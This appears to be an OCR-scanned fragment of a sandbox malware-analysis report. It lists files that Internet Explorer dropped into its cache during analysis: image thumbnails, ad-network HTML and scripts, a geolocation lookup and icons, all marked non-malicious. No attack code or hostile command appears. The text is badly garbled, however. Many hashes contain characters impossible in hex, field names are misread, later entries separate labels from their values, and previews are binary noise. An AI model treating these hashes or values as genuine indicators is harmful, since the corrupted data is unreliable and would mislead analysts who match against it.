SHA1: F11A97DE272DAE4A61EC9990DEAL71EFCF39B742

SHA-256: CF782CC89F554E9ACF21D36909F6AC19DDE218BF0250179B48CDAB67728912B8
SHA-512: 6439670A62A38D289374812D5DACCE219D01E19F5CC4CECA4105F72BA703BF70078FC92DFD2A2C43669AA78EE8D03121E234E53DD3C73DF6CFB984049CE3637!
Malicious: false

Preview:

....|DATX..R.0.Q.=...2.mq0-0"M....t...0qqjM.... .tq.&R..p...$.
We...r{.3..9W.~>,.G@.F...Q.Bx..AW....J.g|.B.q..[..._M..T.4....].
...@S.15.2.1).&....<{@d3.P.,M...H.\W........ SI%.WX.g>..8.....ZV.n.U......\..... ..7....[END.B".

C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCache\IEINUEPGTRO\AALNEih[1].jpg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 622x368, frames 3
Category: dropped

Size (bytes): 55398

Entropy (8bit): 7.96184837377736

Encrypted: false

SSDEEP: 1536:1ri8iYDrYr/O6uXnMmpHHtowxcnOIgAIkk8T:UiikkFuX3dBxcOmllO

MD5: B1EBAD537949FF5921757454C9C03D87
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C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCache\lIEINUEPGTR9\AALNEih[1].jpg

SHA1L: BOFE37C8BD610577F8130E2333A7BBB59636D95C

SHA-256: 3379F90C716D483038B1EE4CBDAG942F43E51387D101736B99E29215179EB033

SHA-512: 3D731577D846E93FD6325B893FAAD191448299F974765EEB2C72101C601577E092C78F123821048F1A0DAE32924321203D932764002AEA258EF50D9BE12B349C
Malicious: false

Preview:

" jRS.W9..9.mG.""\...
1:4X.;4+p. S1.. .. R.&t(8K-+...H... [P* ..t A

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\IEINUEPGTR9\AANf6qga[1].png

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category: dropped

Size (bytes): 432

Entropy (8bit):  7.252548911424453

Encrypted: false
SSDEEP: 6:6v/lhPahm7saDdLbPVJAEQhnZxgQ7FULH4hYHgjtoYFWYo0oCUQVHYXRTTrYm/RTy:6v/79Zb8FZxqQJ4YhroOLsm96d
MDS5: 7ED73D785784B44CF3BD897AB475E5CF
SHA1L: 47A753F5550D727F2FB5535AD77F5042E5F6D954
SHA-256: EEEA2FBC7695452F186059EC6668A2C8AE469975EBBAF5140B8ACA0F642AC466
SHA-512: FAF9E3AF38796B906F198712772ACBF361820367BDC550076D6D89C2F474082CC79725EC81CECF661FA9EFF3316EE10853C75594D5022319EAE9D078802D9C77
Malicious: false
Preview:
.PNG. IHDR. ..a...pHYs bIDATx..?..a..2.3.w".X.&..d..Q.L..LJ".0 rws..<.<|.|.X.?..Aj.r Flv< .td2./ x<b6... \WT...L"."8.R.....

.M.N.OH.T.ve...@.HS$. .+~ j...N....~.0.Z%..+..T*r.. . #....F2..X,.Z.h4..R)z..6.5:...12...|...N>...dB6.%..i...)....q...A.N.K&.A..X,>"..dT)..v:..0D.Q.y>#.u:.,.. Z..r.../h.u...#.V

._&"..~.0l#..IEND.B".

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\IEINUEPGTR9\AANuZgF[1].png

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type: PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category: dropped
Size (bytes): 750
Entropy (8bit): 7.653501615166515
Encrypted: false
SSDEEP: 12:6v/7Wrv0Y7COhH4wY2zKLIJsmUhrpBO2KYMYV7LLMVjcSOmNUfozbbj3rtpQd3HO:xrcY OEV3KLXfIBOMYjHMVIOmKozbH3hv
MD5: 93D77F5C5FFACEBA12A1ABFC6190B947
SHA1: 8001474A7342EBF760C66F1C30E48E32E00F2AF3
SHA-256: E6DA934C90931C6089ADB3D213DDD70C7104D0A182A98AB1C663CEDAE37F83A1
SHA-512: D5F874DF89D82CC819B7D591766300FC701FOE1FFC6055D4CC4BAS5F10674F88EDDAS65EB1FA57886AC16A57926EBBBC9A108D45D057D76B904383247CE7EA
Malicious: false
Preview:
PNG.......IHDR................ a..pHYs......... +.....IDATX..SJHS(...~L.F.af...ji.(coorree o1 [YE.C..o.(\B.AXDSMM. 2.

oS hmrst+3Y..(0..UBN..G....... K...../.q...E..> EQ..+.Y..S.0K... P.%.z..h..=.C.>..YD...1.
Jh PVt $h. S L7 h.CM L > L SFL< ) b X w. d UL Vg, BN
...P.B.p9...U..wQ.EJhLpi.XJ....x.B...

LHT.Sxz...a(k..f#.42.Z 9.q....$Z.@y.... ..IEND.B".
C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCache\lIEINUEPGTR9\AAOUgfd[1].jpg
Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 100x75, frames 3
Category: dropped
Size (bytes): 2941
Entropy (8bit):  7.863029241771592
Encrypted: false
SSDEEP: 48:QfAUETA+VORVWWIZ3yuO1AZePSFG5MhCs3SIb2505XHaTnkjvAyKQE4wEbnPwdvW:Qf7EDVKkWwc3QqZeZK4ZbFBHikj89JVo3
MD5: 42D0033BE816E88889E03E1F4F520925
SHAL: 4881FE633A93DA3E4320D43826697C29195760EA
SHA-256: 33FCEEA1AEA75FB74B4878968A5959EE45DBBC6F2BB1E3F6FCFBC72965D049C6
SHA-512: 7960653F25072C5503BBA9BEEF3E459683F1CBE983262C355C10E25AB3B7DF33D97319E4F7BDABB4A47499FACAB4499F16039639C6A9680C5491377FB8BD620C
Malicious: false
Preview:

....VD.Y.yG..)..zUr.n....bY...RqE]...ID..@.S..0....-a
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C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCache\lIEINUEPGTR9\AAOXxXYp[1].jpg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 622x368, frames 3
Category: dropped

Size (bytes): 19822

Entropy (8bit):  7.629103494706355

Encrypted: false

SSDEEP: 384:1IVwxOYVS/xh6ngqlXuKbpoOEccBpXg+man:IVw3A+LMkoccXXgWn

MDS5: ABC672D90D4FE6CODD8A37FCB83CB82F

SHA1L: 458CC53CD96BAAFE0E6OFEEEL77C3A15A0FEAIFT7

SHA-256: 32DC475778BA6326CIDCBA772F789384C177E90CE6D4B01BACSEB225CA9659F3

SHA-512: 69EFFAC9FB97C82C076989395COBCICF47535083B8E288ECD140677B4FA14B91A87C211F2D6F56BC6268B5CCFES0AB61FE1491238A7772D709DFDEBI5A12E04
Malicious: false

Preview:

(ool oo oG (s OSSO (L TN OO (RN PPN OO (O OO ROV A SN &
XJB~K..cj.p_.ddV. 1.4.X....ZC.Zl...4.r.k.Sc7.2y...1..AX....% ..@%..P.@..P.@..P.@..P.@..P.@..P.@..P.@..P.@..P@..PQ@.

-IR.ANLgaL

P.@..P@.

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\IEINUEPGTR9\AAP5ZJ9[1].jpg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 622x368, frames 3

Category: dropped

Size (bytes): 23447

Entropy (8bit):  7.8610188987675995

Encrypted: false

SSDEEP: 384:13jA1+WJIWgkjJaKcBiBrH+UIOJRIY4+2SfsxeeVSPOVoSXx1rzJEpHJId5V+0Kqz: IpWIWZXNIPj+NsxePfPOVoSPrNs19iG

MD5: 2A54F258725B29F75B896A5BE9ALIEFD1

SHA1L: 9051049261BCBC32ADE26870F58B1B1DF8E4702D

SHA-256: FOCA1C7641ADFDAF3B10E52E201A97CCA7189992A20072FD094F38EC2C28FB5B

SHA-512: E2A013AB0A6493B79F4F67DF8B43EOFD8B588C751D74E9B81898A889508C6E06B63B00419D52ED8538ABA531ACDIB3B6C936DFB6DCB28C3041531E39F8201C¢
D

Malicious: false

Preview:

FELLPLAP el PL)ZO S U X (], 26 @ NS LML 9.5V s mLhb *5 L d
Loom $U$Z.QLXN.2..0...).. #D:.A@...\.n..g3R..0.h.Tf..1......S.....0......... eV 1@, (.0 P.@.1.@. 4 1.

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\IEINUEPGTR9\AAP9B2S[1].jpg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 311x333, frames 3
Category: dropped

Size (bytes): 15509

Entropy (8bit):  7.9310340087680435

Encrypted: false

SSDEEP: 384:NzMfF7NqiumS7h/RSiWgkWrKgTrR783MKPizzNGDumS1RO0rJ76 MKiz

MDS5: D07D4A59EBI9C9783D5DEQ073795E98F44

SHAL: 56B92716A211DE0710F2D85D6C6C881860332AFD

SHA-256: 4ADOF615B346B5BB837319303A4FA9836B05B3ED1CEABIBE7AED5285B925B3CA

SHA-512: DEO7E90AEA7E5C9964EFA35E74EDOF976CF05D33E32643E88185012D6FB83440BB69BD7D750E0195DAD930213760ADABFE378D81B4665E467641EFB5701172F(
Malicious: false

Preview:

SRILXE..;..C,
..9.].8..0..Je.M.I.D...@ ..T.>S.

C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCache\lIEINUEPGTR9\AAPajmd[1].jpg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 206x250, frames 3
Category: dropped

Size (bytes): 5730

Entropy (8bit): 7.799346478449681
Encrypted: false
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C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCache\lIEINUEPGTR9\AAPajmd[1].jpg

SSDEEP:
MDS5:
SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

96:QfQE8edMuGjlg69hir7BvpBrGBs/NzU7F2ql6VRZ4KEqTAIgzEy2FY S5Urlbh4TK:QoUFNUpHrd67gIEqTARIYCW4TK

AFB7DOBDF71DEF69E65EB747640C1COF

ACA040442819B5FD1EDE4C18CA087468F2CE49C6

40087CABD350C3C7792E8ACI855CIFE70CF7COF4E9D8OFECE6BDDF2E67E3B7A3
7DFF955949984074410E8531936010B2B28C42E532817855D69A58F9FCBIDBEES5AE1FCED79B25A2708CB779F6F0786D10B683F52F7D4761A31C96F5186AD770

false
...... JFIF 0 e 2 )100)-,3:13>36F7,-@WAFLNRSR2>ZaZP JQRO.......&..&05-5000000000000000000000000000000000000
00000000000000... G 11A..Qa."q.2...#B...R..$3br........ %&'()*456789: CDEFGHIISTUVWXYZcdefghijstuvwxyz........

J11..AQ.aq."2...B.....#3R..br...$4.%.....&'()*56789: CDEFGHIJSTUVWXY Zcdefghijstuvwxyz..
$.2:.. #.47r..1.. .23..b..1..*@).j;it.1.(.Y..H...cF...4,;.0.5...i.4x..ba-.%.d..b.@..%.
.P.@.h...... Unomee X 0.&. oni.g"..t.Q...x0ZC..0z.H.3@.c.=...qD..-F..0-).ZC.a[.S...?...b.&L.hfH).}.....P..@.4..e.u.r#/P~.?..Q0....i.3.2..0..{./$y.}..C.....=Y.1@." .}i..#..Qb8.
..LP'@{R.2q..d...&By..,....kH..c.Z.S...(.(.......h...

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\IE\INUEPGTR9\AAPawMj[1].jpg

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 310x166, frames 3
dropped

9421

7.876055551576684

false

192:QnshPs1AQ5TAN2NI9pLUC/DHANWE4pYd5bdX0Zz4j7LdkZR18:0s1s1IJAIN9VUKbdnWBuUd5dOZz4j7Ldka
54B04E278F47C310136760B76D1765B3

61588365A442DDE6140AEBA647DIDDFEC1DIC3FE
8A0C2EAEB8D2A95DC3701DEE194906E120CD2D1128F8673DD8A254B3D7F222BA6
F3758893538D586A2D29A809AFD37C7DF1D1B6CC19ACA797D573421797EDF1C5009D99A39018C78BA792EB5C3EDF3BDF551679FB7613E1D619E25199440AEFF

false

ANVLNF.O
0_j.l... E fvl...Ud#.

1.0, # A"...3....@.BKu..B......
$8...1..cK..|._~(.g..UL...2J.{...FO.n.5.3....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NUEPGTR9\AArXDyz[1].png

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced

dropped

472

7.428434836975685

false

12:6v/7gL/VNYyOrLr4giGytVy6R4jsnwPH7XXc:5w7tLCbMswfbs
CBC872F95E97A2E9BEE6A358853D5C5E
2AA08D0C3410C2B1DACCAE7AE45FCEC2FFD8BASF7
64CA26EAA923C9838A551835B8824D055D16484476E00BB260D56F2E801FBA2A
39F09466D3061EB107B5072FD5FB2B2B10FDE17D1BFC79E7C3DB79D3330D327FA439543F9EDEGE2598E0BD32424634B7A327A18E1F95AD36F77DF9CCIC707D+

false

C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCache\IEINUEPGTR9\BB1aXBV1[1].png

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

PNG image data, 27 x 27, 8-bit/color RGBA, non-interlaced

dropped

1161

7.80841974432226

false
24:zxxmempCXfPZq+DLeP1cRWZFIjvh3wuiFZMrFYzWkG4iD3w:zxRBXfBI9k1cRUuFIbJWsFYT/2w
D858BE67BEA11BF5CEC1B2A6C1C1F395
6090B195BEF6AF1157654048EECEA81E2DCECA42A
FC7CF2E8592C8E63CFF72530DA560E3293EC2DE3732823DBAEB4464609EA0494
180FA05957A2FCF8192006D5F8ESD3E4DE1D79DD6FI9F100D254C513068FC291B3086DE9A8897B3658D83FE3335FDEB4023F13AC3A6A8A507729AE22B621EC7D

false
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C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCachellIEINUEPGTR9\BB1aXBV1[1].png

Preview:
PNG........ IHDR.....cveis U...pHYs......... +....;IDATX...}..c.....j...2..Y l....i.<4.c...)..p...M..(4b.Z.r...."cDe..Bz..sw.g.9....A.u}?...n[he {..,u.... >.[LiE...[[1B.Tx.X.7......0.[...
L5)pexdhge WmELsl.....u...3K [ f L W(ESNG...2tG.AUL. 7E.m. 151 {~.X./.Q._..".C...D.M.n.p%..U...0...HTe..1......7.@.Tn.r.....C.k../[..]. X...+#Q.3.y. 4.,
E...g.Y..pr.c..# ES..Ew.op... 9W....)+.1. . . A~\.{.q.E. .&..0&q K. .]|...e.(."9.2\.~....G.h.\";... G........ J....P.gy..<BeK.l..<..d..MF".O.uE...R..-..{..J...F
Fadl AW &2, WVP....._o.c.....8..10;.g-"8L.2..~,....~V..|..c.\."..l....u8....... Q.3.IB."..ILD.bs.K[..)0P0.9.."....K..W..g...f.........S.....S.)N..D;....<...7#.X2.ws.... H.VF
.. $l.R4.0/.~.j & 6......... I.D.m.].G........ W#.Uir..sT..m....h...UN.._V#.S.6.....i..M....[..2.J.....0L\..Q<{.G.n5).IX.....<+7Ey....W.].NR.O...._.

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\IEINUEPGTR9\BBVuddh[1].png

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category: dropped

Size (bytes): 316

Entropy (8bit):  6.917866057386609

Encrypted: false

SSDEEP: 6:6v/IhPahmxjleqclQ1rHZI8IsCkp3yBPn30hM8TD+8IzjpxVYSmO23KuzZDp:6v/7j1Q1Q1ZI8Isfp36+hBTD+8pjpxy/

MDS5: 636BACD8AA35BA805314755511D4CE04

SHA1L: 9BB424A02481910CE3EE30ABDA54304D90D51CA9

SHA-256: 157ED39615FC4B4BDB7E0D2CC541B3E0813A9C539D6615DB97420105AA6658E3

SHA-512: 7E5F09D34EFBFCB331EE1ED201E2DB4E1BO0OFD11FC43BCB987107C08FA016FD7944341A994AA6918A650CEAFE13644F827C46E403F1F5D83B6820755BF1A4C]
3

Malicious: false

Preview:
PNG........ IHDR....ccovrvinn a....pHYs......... +...IDATX....P.2E....U..E..|.....]..M.XD.’4YD..{ \6....5..0.;....2..&..[. ....$.|Y...UU)gj..]. ;x..(.".$L.(\.E.....4....y.....c..m
m.P...Fc...e.0.TUE....V.5..8..4..i.8.}.COM.Y.w"G..t.e.l.0.h.6.|.Q...Q..i~|...._...".Q...".....IEND.B

C:\Users\luser\AppDatal\Local\Microsoft\Windows\INetCache\IEINUEPGTR9\BBY7ARN[1].png

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced

Category: dropped

Size (bytes): 779

Entropy (8bit):  7.670456272038463

Encrypted: false

SSDEEP: 24:dYsfeTalfpVFdpxXMyN2fFIKdko2boYfm:Jf5ILpCyN29IC5boD

MD5: 30801A14BDC1842F543DA129067EA9D8

SHA1L: 1900A9E6E1FA79FE3DF5EC8B77A6A24BDIF5FD7F

SHA-256: 70BB586490198437FFE06C1F44700A2171290B4D2F2F5B6F3E5037EAEBCI68A4
SHA-512: 8B146404DEOC8E08796C4A6C46DF8315F7335BC896AF11EE30ABFBO80ES64ED354D0B70AEDE7AF793A2684A319197A472F05A44E2B5C892F117B40F3AF938617
Malicious: false

Preview:

*e" Q.N#.q..Kg..% W.-.0..2..COK....&.0.@{.K.J._..)X.4)X...1a...i._1..f.j.2.&JI  .@$. ONt...D...iL.d.|OrL_.;a.Yl]i._J.. IEND.B".

C:\Users\luser\AppDatal\Local\Microsoft\Windows\INetCache\IEINUEPGTR9\BBkwUr[1].png

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced

Category: dropped

Size (bytes): 436

Entropy (8bit):  7.255906495097201

Encrypted: false

SSDEEP: 6:6v/IhPahm/BBjoPHhOVDqpp05cMxyHtGUmmozY7JE3R+hRMCzRPasXQc01UaVesl:6v/7MHQg25b8Ht3VEMNQ2w5

MD5: 01B5E74F991A886215461BF0057008C7

SHAL: 6A7347C3559814722D7AA4D491A0D754E157FCC5

SHA-256: DB8AOCOA44AEE824F689A942D99802F95D7950758CB0739C7F179624A592CD51

SHA-512: 17820A7C90B35B0OE45D0A07F5445D8C97BFD3098FDIEOF0283CD6CFC1DB2B33C651924D2F04EF398C147CEB8D7DEA3F591DBC19F9039279407C4E4231AC5F5
7

Malicious: false

Preview:

...fIDATX.}.M.@....... 0..Aa....... #0..."..0...a...<...<..y..0S MK 90 20X XK
.?25....1M.P.5.0....2...& A K..|+..X.h)....BK...ZX...[....G...ON<.~PC.@.X.02..N..X....?..7.XH.&...

WNpaXe a%(..ab........ =ifes
.C3..8...Q.*>. . \W..~..]U.U>L/..

C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCache\IEINUEPGTR9\auction[2].htm

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: HTML document, ASCII text, with very long lines, with CRLF line terminators
Category: dropped

Size (bytes): 18047

Entropy (8bit): 5.789854198382667
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C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCache\IEINUEPGTR9\auction[2].htm

Encrypted:
SSDEEP:
MDS5:
SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

false

384:YBKqpn4LfpLdnxpHtjgCTQ/pFHWs9gt4p7X0gpNp5/qTOTpxi03dF:Y6htQqr03

61EA435E8179321687BE90COF03519B2

9DCFOC5B32A7B5B5D54AC1627244CDBICAF5F8D2

1B9458EB0O5C689F55FE3C2727DF17811FF9D84E13CDF4926F6B3CBAS55871138F
77F61F2B3616917BB8BA74A5126DC897B403E092FC6075E0FD57280B893C960346DBF70AF35473D08D0OD63E4395A31DDOFA7AD33E590542239240B2A9D8FBD5E

false

..<script id="sam-metadata" type="text/html" data-json="{&quot;optout&quot;:{&quot;msaOptOut&quot;:false,&quot;browserOptOut&quot;:false},&quot;taboola&quot;:{&
quot;sessionld&quot;:&quot;v2_8301167edf17c65f72bb514€28364091_9f812f23-c83d-4b6e-8936-6367ca75a045-tuct85887a0_1633616416_1633616416_Cli3jg
YQr4c_GLrutZv-zvwwtuAEgASgBMPABONeRDUCY0oBBIxqgAXUP WFYAGAAaKKcqr2pwgnJjgFwAA&quot;},&quot;tbsessionid&quot;:&quot;v2_83011
67edf17c65f72bb514e28364091_9f812f23-c83d-4b6e-8936-6367ca75a045-tuct85887a0_1633616416_1633616416_Cli3jgYQrdc_GLrutZv-zvwituAEgASgBMPABONeRD
UCyoBBIxqgAXUP WFYAGAAaKKcgr2pwgnJjgFwAA&quot;,&quot;pageViewld&quot;:&quot;07f789d1056e4e1c8d78ef8790021b79&quot;,&quot; RequestLev
elBeaconUrls&quot;:[]}">..</script>..<li class="triptych serversidenativead hasimage " data-json="{&quot;tvb&quot;:[],&quot;trb&quot;:[],&quot;tjp&quot;:[],&quot;p&quot;:
&quot;taboola&quot;,&quot;e&quot;:true}" data-provider="taboola" data-ad-region="infopane" data-ad-index="2" data-viewab

C:\Users\luser\AppDatal\Local\Microsoft\Windows\INetCache\IE\NUEPGTR9\cksync[1].gif

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

GIF image data, version 87a, 1 x 1

dropped

45

3.3268935851616335

false

3:M3+PQ7IRHpsO:nQ71/sO

99CCECEAED4D575484B69DDAFIEDG6AT
1E3A3B15296B585833A22D987A387AA58AA1642D
832F63F4187160C195B04F1911C2E623A75E805F4B23ABBOBOBEA214B4283A43

AFDOB986E4EC7731248127B536E01653CE549FACA454368DF2C928540BCAEA302739CESEF37D01EDD3764C93AE38D799D7CC458AF4308D49BE93FB3637FF79E/
F

false

GIF87a............. Lo R L.,

C:\Users\luser\AppDatal\Local\Microsoft\Windows\INetCache\IEANUEPGTR9\favicon[1].ico

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

MS Windows icon resource - 2 icons, 16x16, 16 colors, 32x32, 16 colors

dropped

1078

1.240940859118772

false
3:etFEh9HYflVINI/AXII1pe/WNNO0000000000000000000000000000000000001:QNtY6+IKY6
4123CE1E1732F202F60292941FF1487D
9F12B11BDE582DAE37CE8C160537D919C561C464
D961B08E4321250926DE6F79087594975FE20AD1518DEBF91EB711AF5D1A6EF8

11B24C2E622C408E4774FAE120B719A21A0B2ACFA53230126C35AD6CA57D33D4DE79CBE11D296CFBDEY613CAA03D66B721BD20CF4EEO30CF75F5A1FD8A286
A9

false

C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCache\lIEINUEPGTRO9\https ___console.brax-cdn.com_creatives _e3c5e00c-8d4e-4ffb-9b76-
5a7c¢81cdd776_77745de3383e60a935ce533068c740ef_1000x600_e4825edeadeb82408ffh2966288c972c[1].jpg

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 207x311, frames 3
dropped

18104

7.819066834704518

false

384:42TXsJ8VDtKAA]IMWHgxUSekI83A2wtNsAK4pOc5c1T+bhNx:42z08ttDhWAXxUzKGQIlvgdpklm
408242BC2FE46DF4413455CC215EF78A

1237FB6C015D104E317C8DF6E9A50603B736DBB3
9866CE3E0940D3182933E799CEDDODABEF2F40ADBB28184A4EB5BOF80D13BESD
467CEA32D652694CBB7C7E8CF58F041BOCF5AA4B54689CCA6C8D0OC301CE31690B62AF44560F6A8BE4688F1F1068908B72B4E3C9BI3EOE978C593360AFE2A32¢

false
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C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCache\lIEINUEPGTR9\https __ console.brax-cdn.com_creatives_e3c5e00c-8d4e-4ffb-9b76-
5a7¢81cdd776_77745de3383e60a935ce533068c740ef_1000x600_e4825edeadeb82408ffh2966288c972c[1].jpg

Preview:

frRUL.(...<zhTW....
.esES...&...thTH..$..6trTR..."...
ki. .R.G.B. .p.rofilP.erfil .R.G.B..g.en..ricP.e.rfil R.G.

\V.a.e.o.b.e.c.n....R.G.B. .profilG.eneur.i..
.R.G.B.P.rofil

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\IE\NUEPGTRO\https___prezna.com_get_XX2-4159422330900454935[1].jpg

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 207x311, frames 3
dropped

27821

7.931053261748656

false
384:BYNg797n7n098dFwIAPj6y0s1liHXHM6ESYVgj16+gSVXTZ7Y2/7cld2QPiDmpPB:BYyB7nXmsj2wAxHAV|LXTN3TclIT6DcJ
09BF7A7A36B88A5D861DD00D6CICECAL

4A8FOC6A034CA72EBI6D05589C19FCC8B277963A
09F27AA16E8734EFFE34FES6AF490472A02FDE1C9BA70283F17A35D7BD00CCAC

58EB6E022B429C0BC711C769BB6DDE2A98CC872795602BAB052334CBC7A5B794947167E6FDEDEAF3FBEDBE61AOA2ESF4CSE9DEBESA3E0910942F2C0611CC7
78F

false

XYZ .o Que XYZ oo XYZ ..
.............................................. desc........|IEC 61966-2.1 Default RGB

colour space - sRGB...
iewing Condition in IEC61966-2.1........

C:\Users\luser\AppDatal\Local\Microsoft\Windows\INetCache\IE\NUEPGTR9\location[1].js

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

ASCI!I text, with no line terminators

dropped

182

4.728470462485461

false
3:LUfGC48HgpHWEROE9HQEQVXH2fQ8I5CMNRMRU8Xx4UcWSDiP22/9NSHGRCUAYGQqd:nCsDcEIXu7jvRMmhUcBiP29RuVQPO
7BD625A515F1AFEOD65E6D9724842314

75597F9D4D5450F4F5893961391C0011E48829D2
EEDE8CF13D6895F6433B4C8AFE465508B402C71AC706C5EBOF67AEFE473344BC
263EE1F9F886231A3C6A3AES7543A6F238D48176F78DEEC954149EC78C47B1C98533968779801325FB6F691E25C2770B4FFABD235A69CDD57D83C5BE3D9359F¢

false

jsonFeed({"country":"CH","state":"ZG","stateName":"Zug","zipcode":"6331", "timezone":"Europe/Zurich","latitude":"47.19370","longitude":"8.42020","city":"Hunenber
g","continent":"EU"});

C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCache\lIEINUEPGTR9\nrrV72800[1].js

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

ASCII text, with very long lines, with no line terminators

dropped

90605

5.421476735125645

false
1536:uEUUkXGs7RIUGZFVgRdillAX5Q3YzuZp9o7uvby3TdXPH6viqQDkjs2i:atiX0di3n8uRMfHgjg
AB138A9028C025BAB5B7708CB60DD4DE
44165788F9467E54FEBO5CDF93D284ECEFB06C36
BDF144AB57D70CB87679524AF17800C9147EC8AC153BFE23EA68D5717AC8E401

1EFODC30EC11110836692EE47C68E8DC2A8A0B7580C4A430DC496C6EF3F1D83EBDB203CDFOE21F65EEIAC02BC2BD71FA642ABEDFS5BEFOFESAG62FF52D207B(
ATT

false

var _mNRequire,_mNDefine;!function(){"use strict";var c={},u={};function a(e){return“function"==typeof e}_mNRequire=function e(t,r){var n,i,o=[];for(i in t)t.hasOwnProper
ty(i)&&("object"!=typeof(n=t[i])&&void 0!==n?(void 0!==c[n]||(c[n]=e(u[n].deps,u[n].callback)),o0.push(c[n])):0.push(n));return a(r)?r.apply(this,o):0},_mNDefine=function(e,t,r)
{if(a(t)&&(r=t,t=[]),void 0===(n=e)||""===n||null===n||(n=t,"[object Array]"!==0bject.prototype.toString.call(n))||'a(r))return!1;var n;u[e]={deps:t,callback:r}}}();_mNDefine
("modulefactory",[],function(){"use strict";var r={},e={},0={},i={},t={},n={},a={},d={},c={},I={};function g(r){var e=!0,0={};try{o=_mNRequire([r])[0]}catch(r){e=!1}return o.isReso
Ilved=function(){return e},o}return r=g("conversionpixelcontroller"),e=g("browserhinter"),o=g("kwdClickTargetModifier"),i=g("hover"),t=g("mraidDelayedLogging"),n
=g("macrokeywords"),a=g("tcfdatamanager"),d=g("I3-reporting-observer-adapter"),c=g("editorial_blocking"),I=g("debuglogs"),{conversionPixelCo
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Static File Info
General
File type:

Entropy (8bit):
TriD:

File name:
File size:
MDS5:
SHA1L:
SHA256:

SHAS512:

SSDEEP:

File Content Preview:

File Icon

Icon Hash: 74f0e4ecccdceOed

Static PE Info

